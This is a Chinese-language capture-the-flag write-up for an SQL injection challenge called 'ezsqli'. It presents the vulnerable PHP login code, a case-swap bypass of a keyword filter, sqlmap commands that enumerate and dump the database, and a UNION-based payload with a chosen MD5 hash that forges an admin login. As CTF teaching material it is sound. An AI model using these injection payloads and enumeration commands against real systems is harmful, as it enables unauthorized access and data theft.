ezsqli
根据题目的提示这是一道关于SQL注入的题,这几天恶补了一波SQL注入,记录一下解题过程
1.前景知识
- MySQL数据库注入基础
- 报错基于GET的注入GET-Error based
- PHP绕过and和or过滤
先看下来吧,如果有不会的在回头来前景知识这里找好了
2.正题进入
二话不说,F12查看源码
<script type="text/javascript">name = $_POST['name'];$password = $_POST['pw'];$t_pw = md5($password);$sql = "select * from user where username = '".$name."'";$result = mysqli_query($con, $sql);if(preg_match("/\(|\)|\=|or/", $name)){
die("badboy17");}else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));exit();}else{
$arr = mysqli_fetch_row($result);if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;}else{
die("wrong pass!");}}else{
die("wrong user!");}}}
</script>
可以看到preg_match函数过滤了 (、)、=、or。但是没有开启大小写不敏感,所以可以使用大小写变形策略绕过preg_matcg。
这里不需要再进行单引号,双引号测试了,因为sql语句都直接给你了。直接大小写变形用order by来测试有几个column。通过编写参数
/* admin' oRder by 3 # */select * from user where username = 'name'
--+ 进行填充
select * from user where username = 'admin' oRder by 3 #'
测试发现有3个column,为下面的union查询打下基础。
而接下来,我们没办法从web页面得到更多的信息了,所以借助工具进行爆破看看能否获得更多信息。
3.sqlma爆破
用BurpSuite抓包
POST /search.php HTTP/1.1
Host: 10.203.87.22:51
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://10.203.87.22:51
Connection: close
Referer: http://10.203.87.22:51/
Upgrade-Insecure-Requests: 1name=admin&pw=qwe
将这一段复制为**.log文件后进入sqlmap进行数据库查看,为了方便调用,将其命名为sqli.log并复制到sqlmap**根目录下。
3.1.查看有哪些数据库
输入命令
python sqlmap.py -l sqli.log --dbs --batch
发现有2个数据库,而information_schema是MySQL5.0版本以上默认创建存储基础信息的数据库,可翻阅前景知识的MySQL数据库注入基础。所以web_sqli数据库就显得很可疑了,我们来看看这个数据库。
3.2.查看有哪些表
输入命令
python sqlmap.py -l sqli.log -D web_sqli --tables --batch
发现web_sqli数据库下只有一个user表,我们进入user表看看
3.3.查看user表中有哪些字段
输入命令
python sqlmap.py -l sqli.log -D web_sqli -T user --columns --dump --batch
该表有3个column,接下来我们查看一下这些字段。
3.4.查看colums
之前的命令会直接dump出所有字段,但是返回的都是blank,这是怎么回事呢?先挖个坑,我也不知道怎么回事。
4.编写恶意SQL
但是我们拿到了一个非常关键的信息就是表名称是user,这样结合union查询返回一个由我们自己设定的结果集就能通过了。
编写恶意SQL
select * from user where username = 'admin123'
union
SELECT 1,'admin','c81e728d9d4c2f636f067f89cc14862c' FROM `user` #'
返回的结果集是这样的
1 | admin | c81e728d9d4c2f636f067f89cc14862c |
---|---|---|
1 | admin | c81e728d9d4c2f636f067f89cc14862c |
完全由我们来控制了。
为什么要这样写呢?回头看看这段PHP
$password = $_POST['pw'];
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;}else{
die("wrong pass!");}
可以这样来看这个数据结构
1 | admin | c81e728d9d4c2f636f067f89cc14862c |
---|---|---|
arr[0] | arr[1] | arr[2] |
1 | admin | c81e728d9d4c2f636f067f89cc14862c |
arr[1]对应的就是admin了,而**arr[2]对应的则是md5加密的字符串。在线md5加密,这里的arr[2]**是2加密后的md5。
4.1.输入username
admin123' union SELECT 1,'admin','c81e728d9d4c2f636f067f89cc14862c' FROM `user` #
4.1.输入password
2
点击提交获得flag。